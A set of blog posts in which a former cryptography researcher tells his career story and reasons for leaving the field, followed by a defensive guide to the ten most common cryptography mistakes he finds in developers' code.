I started on research grants involving number theory, then moved to research grants about cryptanalysis.  In this time, I got my top two research results, one of which influenced the field but unfortunately will never be used in the real world, the other of which had an important impact on what NIST declares acceptable today.  Also during that time, I did a lot of research that had hardly any relevance to the real world.

While being a PostDoc, I saw a lot of new crypto conferences popping up, and a lot of new crypto researchers publishing at new conferences.  Let’s just say that this was not due to an increase in quality in the field.  Instead, there were more opportunities to publish irrelevant research, which a researcher could use as evidence of making an ‘impact.’

I wanted to know what were the right problems to work on, but the longer I stayed in the field, the less vision I had on where to look.  I was stuck in the cycle, with no vision of what the real world needed.  I simply was not going to get that vision by continuing to do what I was doing.

Disillusionment

When designing a cipher, every cryptographer will tell you the first requirement.  Nobody will look at it unless it follows Kerckhoffs’ principle: the security of the cipher should depend upon the secret key and nothing else.  No secret algorithms.

With the AES selection competition between 1997-2000, several cryptographers tried to raise the bar.  Instead of just coming up with a design and relying on others to attack it, the designers should put some effort in themselves to show that it does not trivially fall to common attacks such as linear and differential cryptanalysis.  I myself worked with the RC6design team (though I was not a designer myself), and we provided extensive analysis on the security of RC6.  We were proud of this.

However, a competitor algorithm went much further.  Not only did the designers attempt various cryptographic techniques against their design, but they also proved (under reasonable assumptions) that the design was resistant to first order linear and differential cryptanalysis.  The proof was via the Wide Trail Strategy.  Their cipher, Rijndael, was the favourite amongst the majority of the cryptographers, and ultimately won the AES competition.  Even as a competitor to them, there is no doubt in my mind that the right cipher won.

This was great.  With the turn to the 21st century, we had a new standard of excellence.  Moving the bar beyond the 19th century Kerchoffs’ principle, we now require designers to put substantial effort into analysing and proving the security of their design before presenting it to us.  Right?

That was my thought, but it is totally wrong.  For two reasons:

  • With the increase in the number of crypto conferences and crypto researchers, there was no possibility of enforcing a standard of excellence.  The doors were (and still are) wide open to publish a low quality design in a low quality conference.
  • Ultimately a fair number of designs get used in the real world long before going through a rigorous analysis and peer review process.

Sure, some designs start getting attention after they have been in use for a while, and by that time we either find problems in them or else fall back to “this algorithm has been in use for a long time and nobody has found problems with it, therefore we can trust it.”  And thus, the science is not maturing.

It is a lot easier to design something than it is to break something.  For every one man-hour used to design, it can take one or two orders of magnitude more man-hours to analyse, or maybe even more (depending upon the skills of the designer).  The cryptanalysist simply cannot keep up with the designers, so we instead declare that we will not look at their design for whatever reason.

I wish cryptography would get beyond Kerchoffs’ principle.  I wish the effort between design and cryptanalysis was more balanced.  I wish we could give designers more practical advice on what it takes for their cipher to get attention.

I don’t believe that will ever happen.

A lot of labour for little reward

I started out with an attitude like Paul Erdős, but eventually materialism crept in.  It’s a lot easier to be idealistic when you are young and single than it is when you’re beginning to settle down and think about having a family.

As my software skills were dated, I felt very lucky that I could get out when I did.  Fortune brought me to a fantastic printer research company in Sydney that were mainly looking for smart people.  They offered me a good salary, and I was happy to leave cryptography behind.

I was able to maintain a decent salary, but it took me a good 7 years or so before I got to the point where I had strong enough skills in demand so that I could change employment without too much difficulty if I needed to.

Every now and then I get a call from a recruiter about a bank or other large company looking to hire a cryptographer.  They don’t need a researcher, instead somebody who really knows and can advise about cryptography.  I stopped pursuing these potential opportunities: they pay well, but my interests in security go way beyond cryptography, so I don’t want to pigeon-hole myself as a cryptographer only.

What I do today

Now I do more general security, which includes code review, penetration testing, and architecture/design.  I have strong skills in web security and embedded security.  I like having this breadth of expertise, but I also have an depth of expertise in cryptography, which distinguishes me from most people who do similar work.  The cryptography background is definitely a benefit.  But I am sure glad that I do a lot more than just that.

 

How I became a cryptographer

One of the questions that keeps on appearing over and over in Reddit’s /r/crypto is how to become a cryptographer.  For example this and this and this and this and this.

I often reply to these in comments. But given that the questions keep coming up, I thought it would be good to write up something more complete that I could reference back to. In doing so, I hope I can pass on some valuable tips that I learned the hard way on what it takes to “make it.”

When I say “make it”, I’m referring to being able to make a career as a cryptographer and nothing more. This blog assumes you understand what I mean by “cryptographer”: see Schneier’s article from 1999.  In short, I am showing the path I went down in order to be able to make a living publishing research papers on cryptography, which is not the same as being a practitioner using cryptography.

Often people replying to “how to become a cryptographer” say get a PhD in cryptography and publish lots of papers. That does not answer the question of “how do I qualify myself to get a PhD?” or “How do I learn to think like a researcher?” or “How do I do research?” Nor does it tell how to do significant research. I hope my blog provides some guidance on these questions.

I myself consider that I made it to the level of mediocrity as a cryptographic researcher. I certainly was no star. But I also started late in the game in terms of developing the way of thinking like a researcher. I believe most of the others had the tendency towards mathematical thinking from a young age. Because of that, I had a lot of catching up to do to compete with many from the field. If you’re reading this blog, then you might be like I was, and thus I hope it provides some helpful tips to you that I had to learn the hard way.

Here are what I believe are the 7 magic ingredients to becoming a cryptographer (in no particular order):

  • You need to be a brilliant mathematician (amended advice given here).

  • You need to be very strong in algorithms, including development and analysis.

  • You need to work your tail off.

  • You need to be creative in problem solving.

  • You need to be passionate about the field you are in.

  • You need to surround yourself with experts in the field.

  • You need a bit of luck (but luck happens when preparation meets opportunity!)

Now I tell my story.

My mischievous youth

I believe that those who have achieved a far-reaching life goal can look back at points from their early ages that contributed to where they are today, so this is where I start.

One trait I had that really contributed to my eventual career was my passion for creative puzzle solving. I personally was not so keen on listening to others (which is not good, by the way): instead I spent many hours trying to find solutions myself. In the early days, this manifested in examples like coming up with my own way to solve the Rubik’s cube, never reading the book.

I guess around 10 years old, I started using a computer and learning to program it. It spent many hours, not shy to sacrifice a whole weekend, to make computer games. By the time I got my first 300 baud dial-up modem, I learned about bulletin board systems (BBSs) where nerds like me developed online social lives. For those who don’t know about BBSs, think of it as like a stone-age Facebook.

It didn’t take long before thoughts of mischief on BBSs popped into my head. I spent many hours reading source code of the main BBS that Commodore 64 users were using and thinking about how I could do stuff that the system was not intended to do. I had particular interest in destructive actions solely for the purpose of childhood entertainment. My specialty was crashing (i.e. Denial of service) BBSs. Yes, I was extremely immature.

By age of 16, I was lucky to have access to a local free-to-use Unix system that I could dial into. It didn’t take long before I was exploring the cool /etc/passwd file. A friend of mine had discovered the algorithm that created the password hashes, and I spent many, many hours with no success in trying to invert that algorithm. This was my first exposure to modern cryptography, though at the time I did not know that I was trying to invert a hash function based upon the Data Encryption Standard (DES).

Being exposed to a Unix system and the C programming language 2 years before starting University gave me a head start. Knowing how to program and hack also made me a good candidate for becoming a cryptographer. But I was lacking what may be the most important ingredient: I was not a brilliant mathematician. Don’t get me wrong: I was decent at mathematics, but by no means brilliant. Maybe I was in the top 15% in my class. That’s nothing compared to most cryptographers who were surely the #1 in their school and beyond. For example, looking at the list of Putnam Fellows (top undergraduate mathematicians in the USA and beyond), one will see several cryptographers on the list.

University learning: changing the way I think

Because I was lucky enough to have my parents pay for my University education in America, I was free to commit a lot of time to learning. I wanted my parents to know that their money was not being wasted, so that drove me to work hard. Extremely hard work.

At the same time, I was going through some phase of not trusting anything. This was back in the Cold War days, when we were told that Russian people are evil and they all wanted to kill us and eat our brains. I was not that gullible, and the skepticism I had developed towards authoritative sources of information ended up being the essential ingredient in changing my way of thinking towards the direction of a researcher.

I did pretty well in my classes, though I often came up with reasons for not believing what they were teaching me, especially physics. I looked to come up with an excuse on why it could be wrong. Can the science of physics be wrong? In order to prove something about reality, you need to make assumptions about reality, and that’s the part that I could always question. Footnote: I no longer take such an extreme skepticism towards everything.

After dismissing physics, next came mathematics. How can I show it is wrong? This is an interesting question, because I like many people “learned” mathematics by “memorising the formula” and using it to solve problems. But if I am questioning everything, I can’t take the approach. Instead, I need to disprove the formula. This became a whole way of thinking for me.

When you go to University, you get lectures that you take notes from and a book to read. Which one am I supposed to learn from? I don’t know. I’ll try both.

In the end, I could not make any sense out of my notes, but I could learn from reading the book. The book gives you so much more information that can be packed into a one hour lecture, but the consequence is that you need to spend a lot more time learning. And if you want to disprove the book, you have to spend even more time!

So there I went: reading every single sentence and formula from the book, one-by-one, and trying to disprove it. And absolutely not going to the next one until I am 100% convinced that the sentence or formula is logically correct. To my surprise, I never came across a single thing I could disprove (other than perhaps small mistakes that were easy to correct). And this is what attracted me to mathematics, which ultimately provided me with the thought process I needed to become a cryptographer.

This I believe illustrates an important difference between how most people learn versus how people who end up becoming cryptographers/mathematicians learn. Most people trust the authoritative source. If you want to be a cryptographer, you cannot have that mindset. Instead, you need to question everything and confirm that everything you are being told is true.

Understand why. We cryptographers all the time are seeing new ciphers with miraculous security claims. If we were to not question things like we do, then there would be a whole lot of snakeoil used in the real world. When a mathematician reviews a proof, he looks for anyway that it may be incorrect – especially edge cases come into play. Similarly, if you can find any exception to a proof or claim of security for a cipher (especially edge cases come into play), that could be the key to breaking it. Sometimes finding flaws in security proofs have huge implications even if the flaw does not translate into an immediate break of the construct.

I later learned that you need to go beyond that: you have to be able to prove the same thing you are reading, not just check that it is true. This of course is an even bigger time commitment, but you eventually learn to figure out the key points of the proof and then reconstruct the rest of it yourself.

When I did homework, I went to the library. Before I started, I would look around and carefully remember anybody I could see around me. After that I would start doing homework, giving full attention to my homework until it was all done. Then, I would look around to see if there is anybody still there that got there before me: my rule was nobody can study harder than me. If I found somebody, it meant that I needed to keep on studying. If there was no homework left to do, find a book to read on my current subject and learn a lot more than what the notes and the other kids in the class are learning.

For some classes, I really enjoyed this. For example, in discrete mathematics / combinatorics, I went to great extents to try to find problems I could not solve. I had mastered the class textbook, which I loved, but I was able to find some very old books in the library that were 100% dedicated to tricky combinatorial problems, and I worked out every one of them until I got to the point that I could solve just about anything thrown at me.

As you can see, I worked my tail off at the University and changed my way of thinking. I did not know it at the time, but this was actually my “catch up” time for getting my mind thinking the way the brilliant mathematicians who end up becoming cryptographers think.

I ended up with a double degree in mathematics and computer science. I did quite well, getting almost all A marks in mathematics and computer science, but not always the same success in other subjects. In my third year of University, I did a graduate level class in cryptography, which I loved, and decided that I wanted to do as a career. I just didn’t know how, but I did know that graduate school is probably the right direction forward.

Graduate school: learning to do research

My parents were generous enough to pay for my undergraduate education and expenses, but now that I was all grown up, it was time for me to cover myself.

I tried very hard to get scholarships to help pay for my graduate school education. But at the end of the day, I was competing with students who already have patents, publications, and the like. Also, I was against all-A students and students that have scored perfect on their GRE. How could I possibly compete? The answer was that I needed to earn my way by being a teaching assistant (TA). Being a TA is a huge time commitment, which takes away from the learning that I really wanted to do, but it was the only way I could go forward.

I got accepted to some decent Universities, but top schools like MIT and Stanford were quick to turn me down. Of the ones that accepted me and offered me enough income from TA to pay my way, I decided to go to University of Wisconsin-Milwaukee Computer Science Department, which had a few cryptography professors. I was considered the star student of the time, but in retrospect, this guy turned out to far out-shine me.

I spent two years there taking classes and doing research. My research focus was number theory, particularly integer factorisation. Although I did well in mathematics as an undergrad student, it seems that one really needs to have a lot deeper mathematics background to do innovative research in factoring, so I mainly focused on implementation.

At that time, Arjen Lenstra at Bellcore was in his early days of what would be his long streak of smashing integer factoring records. I loved his research, but I also viewed him as my competitor: if I am going to “make it”, I need to beat him.

Just as an undergrad, I was working my tail off. I was 100% committed to intellectual development. When I wasn’t doing TA duties, class work, or research, I was reading the Usenix groups such as sci.crypt and sci.math, and contributing to discussions. I also spent a lot of time breaking amateur ciphers that were posted on sci.crypt.

After 2 years, I was completing my Masters Degree and was exhausted from all the hard work. I decided that I needed to take a whole summer break just to gather myself. But fortune had another plan for me.

I received an email from Arjen Lenstra. This was not long after he had factored RSA-129, which got international press. Arjen was looking for a summer intern to work with at Bellcore.

There I was: exhausted, feeling as if I had spent 6 years fighting Mike Tyson, needing a rest, and then getting an email from my “competitor” asking if I wanted to work with him. What was I to do?

Thankfully, my parents and friends had set my mind straight. I was wanting to turn it down, but they said I would be absolutely crazy to do it, and they were right. I took the opportunity, which turned out to be the single most important decision in my career. Let me be 100% unambiguous: if I would have declined this opportunity, I would never had made it as a researcher. Luck definitely played a role for me.

One of the most important things I learned from Arjen is that when I develop new algorithms, I need to prove that they are correct. This is obvious to a researcher, but it was not obvious to me. I had ways of solving problems that he wanted me to work on, but he said he wanted proofs before I went ahead and implemented them. And so I did.

In all honesty, I didn’t feel like I did great working for him that internship, but I had enough background in what he wanted me to work on to make me succeed. As I said, I was exhausted from all the studying and TA duties, so I did not commit 100% like I had done for University study. I also had planned to take my time off to gather myself at the end of the 3 month internship.

To my surprise, as the internship came to an end, he asked what I was doing after it. I said “nothing.” He then asked why not stay working there until the end of the year. Hmmm, the pay is good, the experience is great, and what he wants me to work on is exactly what I want to work on. I’ll take it.

I spent the next approximately 5 months working on a project with Arjen that really excited me. We were using the MasPar massively parallel computer to implement fast linear algebra algorithms to solve factoring matrices. We ended up writing a research paper on it, but it never got submitted anywhere. This was my fault: I was too busy to finish it off, and I thought it was research that nobody would be interested in. I was wrong.

During that time, I got back into the mindset of a researcher and I seem to have forgotten that I needed time to gather myself. I decided that having a Masters in Computer Science was not really what I needed: instead I needed an advanced degree in Mathematics. And I was 100% certain that I wanted to do that working for Carl Pomerance at the University of Georgia.

Carl was a well known star in Number Theory. He along with Andrew Granville and Red Alford just completed a proof that there are infinitely many Carmichael numbers, which excited me. Carl was also well known for factoring. I didn’t realise it at the time, but one of the reasons why everybody knew Carl is because he wrote his research so well that even an idiot like me could understand it. Not many mathematicians have that skill.

I thought I would be able to comfortably get into the University of Georgia, but I was wrong. On paper, I was borderline to get into their Masters program, and especially, getting a TA job was going to be tough.

Completely out of character for me, I decided to make a 10 hour drive to Georgia to meet with Carl and other people at the University, and convince them that they should accept me as a graduate student. I wonder to this day if they ever had anybody else approach them like that. I went there, talked to a number of Professors, told them about who I am and what I wanted to do. If nothing else, they saw the passion for mathematics and research in my eyes, and combining that with a letter of recommendation from Arjen, they decided to give me a shot. I got accepted and was offered a TA position.

Truthfully, I don’t know if they really believed that I would make it, and rightfully so. I did not know about the level of competition I was going to find at this University, but as before, I was able to make up the difference by extremely hard work. This was also the time that I learned that checking the proofs is not enough: you need to be able to prove everything in the book yourself.

I surprised a lot of people and eventually they accepted me as a PhD student. Carl Pomerance and others really believed in me. But eventually, 8 years of intense University studying had clobbered me. I was beat and financially in debt, and I really needed a break. Carl tried hard to convince me to go through with the PhD, but I just couldn’t find the drive any longer. I bailed out with a Masters degree.

At this point I had a double Bachelors degree in Mathematics and Computer Science, a Masters degree in computer science, a Masters degree in Mathematics, and letters of recommendations from big shots Arjen Lenstra (pretty much the top computational number theorist ever) and Carl Pomerance (big shot analytical number theorist). Suddenly, how I looked on paper was representative of how good I considered myself to be. And with that, I got a position in industry as a research associate that I believe I deserved, working for RSA Labs at RSA Data Security.

The only catch is, even though I did research to get my Masters degrees, my research was not particularly innovative. So I can’t call myself a researcher yet.

Getting my first publications

It took me a bit of luck to upgrade my skills and get myself where I needed to be in University and graduate school, but at this point I believe that I truly was the best person for the position I took at RSA Labs. Having said that, what an amazing opportunity it was to see minds like Ron Rivest and Yiqun Lisa Yin in action.

It happened to be a convenient time to work there, as there was a call for an Advanced Encryption Standard and RSA Labs had one of the top candidates: RC6.

Ultimately, I had no contribution making it to the final design of RC6, but I was able to make contributions to the analysis. My tendency to disbelieve anything that lacked a proof was instrumental for me in attempts to check the heuristic analyses that the team did to understand the security. It turned out that the heuristic analyses didn’t hold for some simplified variants of RC6, which resulted in my first publication, with Ronald Rivest, Matt Robshaw, and Yiqun Lisa Yin as coauthors.

It was not that difficult to get this result.  I wrote a program to try to verify heuristic claims.  I saw that those claims were not always correct.  I spent time understanding why the claims do not work via debugging and analysis, and worked with my colleagues to develop the analysis further.  Then formal proofs, write-up, and publication.

I did a fair amount of work with Yiqun Lisa Yin, who helped me get a few other publications coauthored with her. She is a brilliant mind and knew where the research community was going. She had the great ideas and I helped where I could.

Despite my success in getting publications, I felt: (1) the results are not significant enough to make me feel as I have “made it” as a researcher, and (2) except in the one publication above, the main ideas were largely coming from other people rather than myself.

Getting significant research results

The position at RSA Labs lasted about 2 years, at which time the company who bought out RSA decided that research in cryptography was not so important, so cut off the West coast research arm.

For a number of years after that, I went back and forth between academia and industry, seeking another position like I had at RSA Labs. I wanted to be do research but also develop software. It turned out that such positions are extremely rare.

I had a couple positions that are normally for post Doctorate students despite not having a Doctorate. One of those was at Macquarie University, with the aim of doing research in Number Theory.

Unfortunately, I did not have strong enough background to do significant research in Number Theory, at least I didn’t think so. I did get a few crypto publications during this time, but I felt they were fairly small results. Towards the end of the appointment, I was ready to give up.

(Side note: I actually did my PhD while at the same time holding this PostDoc position).

It was my office-mate, Ron Steinfeld, who suggested that we look at hash functions. He had some ideas that I was happy to work on him with.

Somehow, I got distracted and started thinking about a hash function built by multiplying small primes together. I wrote a simple equation on the whiteboard and looked at it. I then noticed that if there is a collision, something remarkable happens.

I turned away and thought, “no I need to get back to number theory research.” Gratefully, the little man in my head shook my brain and screamed: “What’s the matter with you, idiot! There’s something interesting here!” So I went back to the equation, thought about it more, and then convinced myself that there is opportunity here. I showed it to Ron, and he said this looks like a breakthrough.

Ron helped me formalise it and justify its significance, and we wrote it up in pretty good detail. Igor Shparlinski helped us in an essential analysis part, but he said he didn’t think his contributions were significant enough to coauthor. We then showed it to Arjen, who had an idea to make it faster and helped the overall writeup.

Finally, I had my breakthrough. The VSH hash function was published in Eurocrypt. The paper happened just after the Wang et al were breaking all the practical hash functions. I had solved the right problem, in the right way, at the right time. Or at least so I had thought.

Another significant area I worked on was HMAC. Given that the hash functions are broke, what are the implications to it? Yiqun led this. My main contribution was coming up with practical algorithms to attack HMAC and NMAC given hash collisions, which was significant to the paper. So this was my second significant research result.

Finally, I feel like I had made it as a cryptography researcher. Finally I started having confidence that I could make a career doing this. Ironically, I decided to not do so.

Additional tips for those aiming to become cryptographers

I would like to think I have learned a thing or two about research in all these years of effort. So here is the advice I pass on to those who are just making the journey.

The number one advice is read Richard Hamming’s advice on how to do great research. I first discovered this while doing my “PostDoc” research at Macquarie University. I must have read this at least 10 times thereafter. You need to know where the field is going to make significant contributions. If you don’t work on the right problems, you’re not going to have an impact. Surrounding yourself by experts in the field will help guide you in making an impact. Don’t be afraid of going after the big problems.

Another point from Hamming is selling your research. He is so right. When I first got publications, I considered the writeup the boring part: I had solved a problem, now I need to waste all this time writing it up rather than go out and solve more problems? Absolutely the wrong attitude. Think about the people you look up to as researchers. You might have names like Dan Boneh, Adi Shamir, etc…. If your list is anything like mine, you may notice that they are great communicators. They write well and they present their research well. If you can clearly explain and motivate the problem you are trying to solve, it will not only attract others to your research, but it will also help you better understand the value of your research and the interesting directions you can go.

Doing research is frustrating. One of the things that threw me off is that although I was very good at a lot of things, I just did not have the mathematical depth of many people in the field. How could I do compete with them?

It wasn’t until VSH that it dawned upon me that you don’t have to be the greatest mathematical mind to make an impact. Think of great impacts like RSA: it was just a coincidence that it was invented by some of the best cryptographers ever, but mathematically it really is very simple. Another example is Shamir Secret Sharing: such a simple concept with great impact: it is only a coincidence that it was invented by the greatest cryptographer ever! My point is that don’t be intimidated like I was just because other people know more – often simple ideas have the biggest impact. Try a lot of ideas, and be creative and persistent.

It really helps a lot to master some mathematical tools. For me, smoothness was what helped me, and it had only been used minimally for constructive purposes in cryptographry before.

Many times I thought to myself “I really need to master lattices”, but then later dismissed it: “I’m too late: all the low hanging fruit is gone.” I was so wrong: it was never too late!

Why I left cryptography

If there is interest, in a future blog I will write about why I left cryptography.

Top 10 Developer Crypto Mistakes

After doing hundreds of security code reviews for companies ranging from small start-ups to large banks and telcos, and after reading hundreds of stack overflow posts on security, I have composed a list of the top 10 crypto problems I have seen.

Bad crypto is everywhere, unfortunately. The frequency of finding crypto done correctly is much less than the number of times I find it done incorrectly.  Many of the problems are due to complex crypto APIs that are insecure by default and have have poor documentation. Java is the biggest offender here, but it does not stand alone. Perhaps Java should learn from its archenemy, .Net, on how to build a crypto API that is easier to use and less prone to security problems.

Another reason for so many problems is that finding the issues seems to require manual code analysis by a trained expert. According to my experience, the popular static analysis tools do not do well in finding crypto problems. Also, black-box penetration testing will almost never find these problems. My hope in publishing this list is for it to be used by both code reviewers and programmers to improve the state of crypto in software.

The list:

1. Hard-coded keys
2. Improperly choosing an IV
3. ECB mode of operation
4. Wrong use or misuse of a cryptographic primitive for password storage
5. MD5 just won’t die. And SHA1 needs to go too!
6. Passwords are not cryptographic keys
7. Assuming encryption provides message integrity
8. Asymmetric key sizes too small
9. Insecure randomness
10. “Crypto soup”

Now we break it down in detail:

1. Hard-coded keys

I have seen this very often. Hard-coding keys implies that whoever has access to the software knows the keys to decrypt the data (and for those developers who start talking about obfuscation, my 10th entry is for you). Ideally, we never want cryptographic keys accessible to human eyes (for example, see what happened to RSA about six years ago). But many companies fall far short of this ideal, and therefore the next best thing we can ask is to restrict access to the keys to a security operations team only. Developers should not have access to production keys, and especially those keys should not be checked into source code repositories.

Hard-coded keys is also indicative of insufficient thought about key management. Key management is a complex topic that goes well beyond the scope of this blog.  But what I will say is if a key gets compromised, then rotation of a hard-coded key requires releasing new software that must be tested before going live.  Releasing new software takes time, which is not a luxury when incidents like this happen.

It’s easy for security people to tell developers what not to do, but the unfortunate reality is that what we really want them to do is often not feasible for whatever reason. Therefore, developers need some middle-ground advice.

A big caveat here that I am not a security operations person nor an expert on key management, but I can comment on what I have seen from a distance in some places.  Even though it is less than ideal, a configuration file is a better option for key storage than hard-coding it. Although some frameworks support encrypted configuration sections (see also this .Net guidance) what is really needed is for developers to have test keys for their test and development environments, and these keys are replaced by real keys by a security operations team upon deployment into the live environment.

The above guidance I have seen this botched up in practice. In one case, the deployment team put in an RSA public key incorrectly, and was not able to decrypt because they didn’t have a private key corresponding to the erroneous public key. My advice is that the software needs a means to test itself to make sure it can encrypt/decrypt (or whatever operation it needs to do), or else there needs to be a procedure as part of the deployment to make sure things work as expected.

2. Improperly choosing an IV

IV means initialization vector.  This problem is usually with CBC mode of encryption. Very often it is a hard-coded IV, usually all 0s. In other cases, some magic is done with a secret (sometimes the key itself) and/or a salt, but the end result is that the same IV is used every time. The worst one I have seen, on three occurrences, is the key also used as the IV — See Section 7.6 of Crypto 101 on why this is dangerous.

When you are using CBC mode of operation, the requirement is that the IV is chosen randomly and unpredictably.  In Java, use SecureRandom.  In .Net, simply use GenerateIV.  Also, you cannot just choose an IV this way once and then use the exact same IV again for another encryption.  For every encryption, a new IV needs to be generated. The IV is not secret and is typically included with the encrypted data at the beginning.

If you do not choose your IV properly, then security properties are lost. An example of improper choice of IV where the implications were huge is in SSL/TLS.

Unfortunately, APIs are often the problem here. Apple API is a perfect example of what not to do (note: I am using  this mirror of Apple’s code so I can link directly to the evidence) — tell developers it is optional and use all zero if it is not provided. Sure, it will still encrypt and decrypt, but it is not secure Apple!

More information about requirements for IVs and nonces in various modes of operation is given here.

3. ECB mode of operation

When you encrypt with a block cipher such as the AES, you should choose a mode of operation.  The worst one you can choose or have chosen for you is ECB mode, which stands for Electronic Code Book.

It doesn’t matter what block cipher is under the hood: if you are using ECB mode, it is not secure because it leaks information about the plaintext. In particular, duplicate plaintexts become duplicate ciphertexts. If you think that doesn’t matter so much, then you probably have not seen the encrypted penguin yet either (this image is Copyright Larry Ewing, lewing@isc.tamu.edu, and I am required to mention The GIMP):

ECB_Penguin

Bad APIs, like Java, leave it up to the provider to specify the default behaviour. Typically, ECB is used by default. Embarrassingly, OWASP gets this wrong in their “Good Practice: Use Strong Algorithms” example, though they get it right here, which is one of the few places on the internet that looks to be free of problems.

Bottom line: Don’t use ECB mode.  See here for guidance on modes that are safe to use.

4. Wrong use or misuse of a cryptographic primitive for password storage

When a crypto person sees PBKDF2 being used with 1000 iterations for password storage, they may complain that 1000 iterations is too few and a function like bcrypt is a better choice anyway. On the other hand, I have seen so much worse that I’m just excited that the developer is on the right track.

Part of the problem here is terminology, which the cryptographic community has made no effort to fix. Hash functions are wonderful, magical functions. They are collision resistant, preimage resistant, 2nd preimage resistant, behave like random oracles, and they are both fast and slow at the same time. Maybe, just maybe, it is time to define separate cryptographic functions for separate purposes rather than relying too much upon a single source of magic.

For password processing, the main properties we need are slow speed, preimage resistance, and 2nd preimage resistance. The slow speed requirement is explained wonderfully by Troy Hunt.

There are specific functions designed to meet these goals: pbkdf2, bcrypt, scrypt and argon2. Thomas Pornin has played an excellent role in helping developers and security engineers understand this. Now if only we can get rid of the MD5, SHA1, SHA256, and SHA512 implementations for processing passwords!

Also, I sometimes see APIs that make available PBKDF1, which really should not be used any more. Examples include Microsoft and Java.

Additionally, another common problem I see is hard-coded salts when doing password processing. One of the main purposes of the salt is so that two identical passwords do not “hash” to the same value. If you hard-code the salt, then you lose this property. In this case, one who gets access to your database can readily identify the easy targets by doing a frequency analysis on the ‘hashed’ passwords. The attacker’s efforts suddenly become more focused and more successful.

For developers, my recommendation is to do what Thomas Pornin says. He has commented on various aspects of password processing frequently on the security stack exchange.

Personally, I would go with bcrypt if that is possible. Unfortunately, many libraries only give you PBKDF2. If you are stuck with that, then make sure you use at least 10,000 iterations and be happy that your password storage is better than most.

5. MD5 just won’t die. And SHA1 needs to go too!

MD5 has been broken in practice for more than 10 years, and there were warnings against using it for more than 20 years.  Yet I am still finding MD5 in many, many places. Often, it is being used in some crazy way where it is not clear what the security properties are that they need.

SHA1 has been broken in theory almost as long as MD5, but the first real attack only came recently. Google has been doing well in deprecating from certificates years before the practical break, however SHA1 still exists in developer code in many places.

Whenever I see developer code using a cryptographic hash function, I get worried. Often they do not know what they are doing. Hash functions are wonderful primitives for cryptographers to use in building useful cryptographic primitives such as message authentication codes, digital signature algorithms, and various prngs, but letting developers do what they please with them is like giving a machine gun to an 8 year old. Developers, are you sure these functions are what you need?

6. Passwords are not cryptographic keys

I see this often: not understanding the difference between a password and a cryptographic key. Passwords are things people remember and can be arbitrary length. Keys on the other hand are not limited to printable characters and have fixed length.

The security issue here is that keys should be full entropy, whereas passwords are low entropy by nature.  Sometimes you need to change a password into a key.  The proper way to do this is with a password based key derivation function (pbkdf2, bcrypt, scrypt or argon2), which compensates for the low entropy input by making the derivation of the key from the password a time consuming process.  Very seldom do I see this done.

Libraries like Crypto-js blend the concepts of keys and passwords together, and inevitably people who use it wonder why they cannot encrypt in JavaScript and then decrypt in Java or .Net or whatever other language/framework. Worse, the library uses some awful algorithm based upon MD5 to convert the password to a key.

My advice to developers is whenever you find an API that offers passwords or passphrases to encrypt, avoid it unless you specifically know how the password is converted to a key. Hopefully, the conversion is done with an algorithm such as PBKDF2, bcrypt, scrypt, or argon2.

For APIs that take keys as input, generate the keys using a cryptographic prng such as SecureRandom.

7. Assuming encryption provides message integrity

Encryption hides data, but an attacker might be able to modify the encrypted data, and the results can potentially be accepted by your software if you do not check message integrity. While the developer will say “but the modified data will come back as garbage after decryption”, a good security engineer will find the probability that the garbage causes adverse behaviour in the software, and then he will turn that analysis into a real attack. I have seen many cases where encryption was used but message integrity was really needed more than the encryption. Understand what you need.

There are certain encryption modes of operation that provide both secrecy and message integrity, the best known one being GCM. But GCM is unforgiving if a developer reuses and IV. Given how frequent the IV reuse problem is, I cannot recommend GCM mode.  Alternative options are .Net’s Counter with CBC-MAC and Java BouncyCastle choices of CCMBlockCipher, EAXBlockCipher, OCBBlockCipher.

For message integrity only, HMAC is an excellent choice. HMAC uses a hash function internally, and the specific one is not too important. I recommend that people use a hash function such as SHA256 under the hood, but the truth is that even HMAC-SHA1 is quite secure even though SHA1 lacks collision resistance.

Note that encryption and HMAC can be combined for both secrecy and message integrity. But the catch here is that the HMAC should not be applied to the plaintext but instead to the ciphertext combined with the IV.  Acknowledgments to the good people at /r/crypto for correcting earlier versions of this section.

8. Asymmetric key sizes too small

Developers do really well in choosing their symmetric key sizes, often choosing much stronger than they need (128-bit is enough). But for asymmetric crypto, they often err on the other side.

For RSA, DSA, DH, and similar algorithms, 1024-bit is within reaching distance of an organisation such as the NSA, and will soon become reachable by smaller organisations with Moore’s law. At the very least, using 2048-bits.

For elliptic curve based systems, one can get away with much smaller key sizes. I have not seen these algorithms used by developers so often, so I have not seen problems with key sizes for them.

General guidance on key sizes is provided here.

9. Insecure randomness

I’m surprised that this does not occur more often, but I do find it from time to time. The general issue is that typical (pseudo) random number generators may look random to the untrained eye, but they fail to meet the unpredictable requirement to the trained expert.

As an example, imagine you are using java.util.Random to generate a session token for a web application. When I as a legitimate user get my session token, I (using my crypto expertise) can then predict the next session token for the next user and the previous session token for the previous user. I can then hijack their sessions.

This would not be possible if the session token is generated with SecureRandom. The general requirement is a pseudo random number generator with cryptographic security. In .Net, the good source is System.Security.Cryptography.RandomNumberGenerator.

It is also worth mentioning that just because you are using a good source of randomness does not mean that you cannot screw up. For example, I saw one implementation that took a 32-bit integer from SecureRandom and hashed it to produce a session token. It never occurred to the developer that that implies at most 2^32 possible sessions, which would allow an attacker to hijack one just by enumerating these values.

10. “Crypto soup”

I use this term to mean a developer mixing a bunch of cryptographic primitives together without a clear goal. I don’t like to call it roll-your-own-crypto, because I think of that term attempting to build something where the goals are clear, such as a block cipher.

Crypto soup often uses hash functions, and at this point you may want to have a second look at my final paragraph for point 5. When I see this, I want to scream to the developer “get your hands off that hash function, you don’t know what you’re doing!”

I remember one case of crypto soup where the developer used a hard-coded key. I told him that it is unclear what you are trying to do, but you cannot use hard-coded keys. This caused him a lot of trouble because they didn’t have a clear path forward to getting the key out of the source. Eventually, he explained that he didn’t really need security for what he was doing, but instead he was just trying to obfuscate. Huh? This is exactly the type of conversation one tends to get into when you see crypto soup.

Concluding remarks

To improve the state of crypto in developer code, I make the following recommendations:

  • We need more educators!  I’m talking about people who understand crypto and also developer code.  I am pleased to find some very good people on Stack Overflow, but it is still the case that there is a lot of bad guidance all over the internet.  More good people need to help correct this.
  • Crypto APIs need to get better.  Using cryptographic functionality correctly needs to be easy.  It needs to be secure by default.  And the documentation needs to be very clear about what is happening.  Microsoft is going the right direction, Java is not.
  • Static analysis tools need to improve.  Some of the issues above the tools will not be able to find, but others they should be able to.  I am aware of one called Cryptosense, but unfortunately I have not had the benefit to try it.  I have played a lot with big name tools and have been disappointed due to their lack of findings.
